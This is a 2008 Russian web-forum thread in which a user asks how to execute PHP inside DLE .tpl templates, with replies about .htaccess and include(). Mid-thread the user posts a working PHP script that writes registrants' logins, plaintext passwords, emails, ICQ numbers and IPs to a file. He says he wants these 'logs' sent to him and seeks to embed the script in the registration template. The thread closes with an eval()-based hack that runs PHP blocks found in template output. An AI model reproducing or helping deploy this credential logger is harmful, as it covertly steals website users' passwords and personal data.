Просмотр полной версии : php код в .tpl
-=Dem0n=-
10.01.2008, 05:11
Как сделать чтобы в файле с расширением .tpl, они собсно в шаблоне DLE, выполнялся php код.
Нашел только как можно выполнить в main.tpl но меня интересует другой файл.
в дире с .tpl создаёшь .htaccess с таким содержанием
addtype application/x-httpd-php .tpl
-=Dem0n=-
10.01.2008, 05:27
Спс. Попробую.
-=Dem0n=-
10.01.2008, 05:32
Добавил только теперь страница не открывается. Просто белоый лист.
-=Dem0n=-
10.01.2008, 06:06
Страница регистрации после добавления кода стала белая)
guest3297
10.01.2008, 07:56
что бы в tpl исполнялся php код:
1) Сделать что бы веб сервер опеределял данное раширенние и кормил его php интерпритатору (например средствами htaccess).
2) Записать код и "Проинклудить" его такими функциями как include(), require().
Если это шаблоны smarty, то там можно использовать php код между тегами {php}{/php}
-=Dem0n=-
10.01.2008, 19:00
']что бы в tpl исполнялся php код:
1) Сделать что бы веб сервер опеределял данное раширенние и кормил его php интерпритатору (например средствами htaccess).
2) Записать код и "Проинклудить" его такими функциями как include(), require().
Это ведь тоже пхп а в теплешнике он не читается.
include и require
Прикалываешься?
Я создал текстовый документ написал туда:
<?
echo "Hello from TPL";
?>
переименовал его в 123.tpl
Потом в файле main.php
Начирикал:
<?php
echo "THIS IS MAIN<br>";
include("123.tpl");
?>
Когда запусти, то у мя высветилось:
THIS IS MAIN
Hello from TPL
Вывод: =\
-=Dem0n=-
10.01.2008, 19:53
Мне нужно запустить тпл а не пхп. Запустил тпл у меня сработала echo а include нет.
Если например добавить
<?php
echo "THIS IS MAIN<br>";
require_once("123.tpl");
?>
То после THIS IS MAIN на странице пусто.
Какое у тя содержание tpl... ???
Какое у тя содержание tpl... ?
всё ты правильно ранее описал чувак просто неврубает
Дык работает или нет?!
Это ваще файл турбопаскаля или php шаблон???
-=Dem0n=-
10.01.2008, 20:23
<div align="center">
<table width="100%"
cellSpacing=0 cellPadding=0 width="100%">
<tr>
<td height="24" background="{THEME}/images/news_header.gif"> <b>Регистрация нового пользователяОбновление профиля пользователя</b></td>
<td height="24" background="{THEME}/images/news_header.gif" align="right">Категория: Регистрация </td>
</tr>
<tr>
<td style="padding-left: 3px; padding-right: 3px"></td>
<td align="right" style="padding-left: 3px; padding-right: 3px"></td>
</table>
<table width="99%" cellSpacing=0 cellPadding=0 width="100%">
<tr>
<td width="100%" style="padding-left: 3px; padding-right: 3px">
Добрый день уважаемый посетитель нашего сайта. Регистрация на нашем сайте позволит Вам быть полноценным участником нашего сайта, Вы сможете добавлять новости на сайт, оставлять комментарии, просматривать скрытый текст и многое другое. В случае возникновения проблем с регистрацией на сайте напишите администратору проекта.<br> <font color="red">Реклама на сайте строго запещина в любой форме. За нарушение правил дается одно предупреждение, потом бан.<br>
Подробные правила регистрации, приведины в нижней части страници регистрации.
</font>
Уважаемый посетитель Ваш аккаунт был зарегистрирован на нашем сайте, однако информация о вас является неполной, поэтому заполните дополнительные поля в вашем профиле.<br><br>
<center>
Логин<br>
<input type="text" name="name" id='name' style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"> <br>
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Проверить доступность логина для регистрации" onclick="CheckLogin(); return false;" type=button value="Проверить имя"><div id='result-registration'><br>
Пароль<br>
<input type="password" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Повторите пароль<br>
<input type="password" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Ваш E-Mail<br>
<input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
<b>Подтверждение кода безопасности</b><br><br>
Код безопасности<br>
{reg_code}
Введите код<br>
<input type="text" name="sec_code" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Ваше имя<br>
<input type="text" name="fullname" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Место жительства<br>
<input type="text" name="land" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Номер ICQ<br>
<input type="text" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Фото:<br>
<input type="file" name="image" style="width:278px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
О себе<br>
<textarea name=info style="width:320px; height:70px; font-family:verdana; font-size:11px; border:1px solid #E0E0E0 "></textarea><br>
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Отправить" type="submit" value="Отправить" class="btn">
</center>
</td>
</tr>
<tr>
<td width="100%" style="padding-left: 3px; padding-right: 3px; padding-bottom: 3px; padding-top: 3px;"></td>
</tr>
</table>
</div>
-=Dem0n=-
10.01.2008, 20:23
Какое у тя содержание tpl... ???
Шаблон.
Омг...
http://www.codenet.ru/webmast/php/Templates-About.php
-=Dem0n=-
11.01.2008, 03:36
вот код php:
<?
$filename = "logins.php";
if (!is_file($filename) || !is_writable($filename)) {
echo "<center>Файл '$filename' не найден !</center>";
exit();
}
function reglog() {
global $filename, $name, $password1, $password2, $email, $icq, $HTTP_X_REAL_IP, $HTTP_USER_AGENT;
$d = date("d.m.Y - H:i:s");
$str = "
Логин: [$name]
Пароль: [$password1]
Е-майл: [$email]
HoMep: [$icq]
Кто: [user]
Статус: [*off*]
IP: $HTTP_X_REAL_IP
Browser $HTTP_USER_AGENT
======================
";
$f = fopen($filename, "a");
fwrite($f, "$str\n");
fclose($f);
err(5);
}
if ($name) reglog();
show();
function show() {
?>
<form action="" method="post" name="f">
Логин<br>
<td width="75%"><input type="text" maxlength="15" name="name" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
Пароль<br>
<input type="password" maxlength="15" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Пароль еще раз<br>
<input type="password" maxlength="15" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
E-mail<br>
<input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Номер ICQ<br>
<input type="text" maxlength="15" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 ">
<br>
<input type="submit" value="Отправить">
</form>
<? } ?>
ЕГО а не В него нужно вставить вот этот .tpl
<div align="center">
<table width="100%"
cellSpacing=0 cellPadding=0 width="100%">
<tr>
<td height="24" background="{THEME}/images/news_header.gif"> <b>Регистрация нового пользователяОбновление профиля пользователя</b></td>
<td height="24" background="{THEME}/images/news_header.gif" align="right">Категория: Регистрация </td>
</tr>
<tr>
<td style="padding-left: 3px; padding-right: 3px"></td>
<td align="right" style="padding-left: 3px; padding-right: 3px"></td>
</table>
<table width="99%" cellSpacing=0 cellPadding=0 width="100%">
<tr>
<td width="100%" style="padding-left: 3px; padding-right: 3px">
Добрый день уваbla blah ан.<br>
blabla
</font>
Уважаемый посbla профиле.<br><br>
<center>
Логин<br>
<input type="text" name="name" id='name' style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0;"><br>
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Проверить доступность логина для регистрации" onclick="CheckLogin(); return false;" type=button value="Проверить имя"><div id='result-registration'><br>
Пароль<br>
<input type="password" name="password1" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Повторите пароль<br>
<input type="password" name="password2" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Ваш E-Mail<br>
<input type="text" name="email" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
<b>Подтверждение кода безопасности</b><br><br>
Код безопасности<br>
{reg_code}
Введите код<br>
<input type="text" name="sec_code" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Ваше имя<br>
<input type="text" name="fullname" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Место жительства<br>
<input type="text" name="land" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Номер ICQ<br>
<input type="text" name="icq" style="width:167px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
Фото:<br>
<input type="file" name="image" style="width:278px; height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0 "><br>
О себе<br>
<textarea name=info style="width:320px; height:70px; font-family:verdana; font-size:11px; border:1px solid #E0E0E0 "></textarea><br>
<input style="height:20px; font-family:tahoma; font-size:11px; border:1px solid #E0E0E0; background: #FFF;" title="Отправить" type="submit" value="Отправить" class="btn">
</center>
</td>
</tr>
<tr>
<td width="100%" style="padding-left: 3px; padding-right: 3px; padding-bottom: 3px; padding-top: 3px;"></td>
</tr>
</table>
</div>
и инклудовал и как только не пробывал не получается у меня! Нужно еще и чтобы скрипт работал! помогите пжлст.
-=Dem0n=-
11.01.2008, 03:50
А очень-бы хотелось) чтобы мне логи приходили)
Сори я налечил(
http://dle-news.ru/2006/06/15/ispolzovanie_ljubykh_php_vstavok_v_shablonakh.html посмотри-ка
-=Dem0n=-
11.01.2008, 04:05
Сори я налечил(
http://dle-news.ru/2006/06/15/ispolzovanie_ljubykh_php_vstavok_v_shablonakh.html посмотри-ка
Так его что в любом шаблоне можно использовать?
Ну видимо да. Там в комментах, внизу, решение для новых версий
-=Dem0n=-
11.01.2008, 04:13
Ну видимо да. Там в комментах, внизу, решение для новых версий
Видел у меня 6.0
*мат* ниче у меня не получается! блин. сделал тот хак но после вставки скрипта внизу ничего нет никаких форм.
и как у пацан белый листок.
-=Dem0n=-
11.01.2008, 04:35
Фух выполнения скриптов сделал спасибо FeraS)) этот подашол
function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);
теперь может скажит кто как его правильно вставить в .tpl что-бы он логи писал?)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot